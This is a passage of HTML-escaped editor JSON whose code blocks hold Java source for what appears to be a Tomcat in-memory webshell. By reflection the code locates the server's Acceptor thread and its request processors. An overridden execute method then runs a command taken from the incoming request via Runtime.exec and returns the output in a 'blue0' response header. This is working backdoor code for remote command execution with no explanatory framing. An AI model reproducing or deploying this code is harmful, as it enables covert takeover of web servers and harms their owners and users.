}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xqXI-1658996841477&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5oJr-1658996841476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oG42-1658996841479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vdLR-1658996841478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AjyU-1658996841496&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DUw3-1658996841495&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    System.out.println(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YTuq-1658996841498&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vye9-1658996841497&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0h6I-1658996841500&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CSLC-1658996841499&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ryr1-1658996841502&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F8Dx-1658996841501&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qUFL-1658996841529&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6JwK-1658996841528&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2zKE-1658996841531&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0aKZ-1658996841530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3W8-1658996841533&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ahjh-1658996841532&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yKBh-1658996841535&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F9Lv-1658996841534&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xvep-1658996841537&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WPuL-1658996841536&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vXgI-1658996841539&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rYwb-1658996841538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return new String();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6l6S-1658996841541&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;76Yr-1658996841540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NdlF-1658996841678&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aasj-1658996841677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dd0c-1658996841680&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jJ3B-1658996841679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LY2l-1658996841682&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fe7h-1658996841681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void getResponse(byte[] res) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sopV-1658996841684&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MRXJ-1658996841683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fr3d-1658996841686&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;niV1-1658996841685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yVMa-1658996841688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mO66-1658996841687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RTws-1658996841690&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ff3r-1658996841689&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CACf-1658996841692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QDSu-1658996841691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mKhV-1658996841694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zW4O-1658996841693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eOnI-1658996841696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QuVI-1658996841695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LZlb-1658996841698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ktVf-1658996841697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0A3N-1658996841700&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7Zr0-1658996841699&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vEyN-1658996841702&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Cra-1658996841701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76cs-1658996841704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xVgH-1658996841703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;),\&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tS8w-1658996841706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NjKc-1658996841705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object tmp_object:objects) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6w42-1658996841708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvsg-1658996841707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        RequestInfo request = (RequestInfo)tmp_object;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AK5M-1658996841710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFIM-1658996841709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Response response = (Response) getField(getField(request, \&#34;req\&#34;), \&#34;response\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mcod-1658996841712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M8He-1658996841711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        response.addHeader(\&#34;blue0\&#34;,new String(res,\&#34;UTF-8\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3M7-1658996841726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TdmG-1658996841725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.print(\&#34;buffer add\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cpGq-1658996841729&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z1y0-1658996841728&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OUW1-1658996841735&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;koyk-1658996841734&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aElX-1658996841737&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;50GY-1658996841736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XftF-1658996841739&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Od5D-1658996841738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e7X4-1658996841741&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oh7f-1658996841740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aT63-1658996841743&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X0W7-1658996841742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g15w-1658996841745&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T99v-1658996841744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qak5-1658996841747&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6SIP-1658996841746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E5Uh-1658996841749&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mnkp-1658996841748&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9H8R-1658996841751&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;buRc-1658996841750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n6OK-1658996841753&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EToG-1658996841752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vGar-1658996841755&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yNQ-1658996841754&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wjwI-1658996841757&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xWDi-1658996841756&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WT4u-1658996841759&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bwIb-1658996841758&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vB7i-1658996841761&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xf8C-1658996841760&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MfN5-1658996841763&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v3hA-1658996841762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void execute(Runnable command) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etMV-1658996841765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2kzZ-1658996841764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            System.out.println(\&#34;123\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HsWw-1658996841767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zXx7-1658996841766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zqUC-1658996841769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MMoF-1658996841768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String cmd = getRequest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZy0-1658996841771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vS70-1658996841770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (cmd.length() &gt; 1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8feD-1658996841773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RdSv-1658996841772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ThdW-1658996841775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WwXP-1658996841774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Runtime rt = Runtime.getRuntime();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;888o-1658996841777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mLSi-1658996841776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Process process = rt.exec(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMSB-1658996841779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vTtb-1658996841778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStream in = process.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0ht-1658996841781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xJaz-1658996841780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IP7C-1658996841783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ESfr-1658996841782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mRMn-1658996841785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6Vh-1658996841784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1u8C-1658996841787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5K5A-1658996841786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String s = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LWZ9-1658996841789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T9H6-1658996841788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String tmp = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O6ag-1658996841791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wHV6-1658996841790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while ((tmp = stdInput.readLine()) != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmSY-1658996841793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hyt9-1658996841792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        s += tmp;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jxQq-1658996841796&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y4Sa-1658996841795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6ii-1658996841798&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aba3-1658996841797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (s != \&#34;\&#34;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GE0L-1658996841800&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E1Iy-1658996841799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] res = s.getBytes(StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nuya-1658996841802&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NqJL-1658996841801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        getResponse(res);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wvx2-1658996841804&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s0xI-1658996841803&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NWOE-1658996841816&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ulqO-1658996841815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H2PY-1658996841818&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LfSX-1658996841817&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b9QJ-1658996841820&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;frYv-1658996841819&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                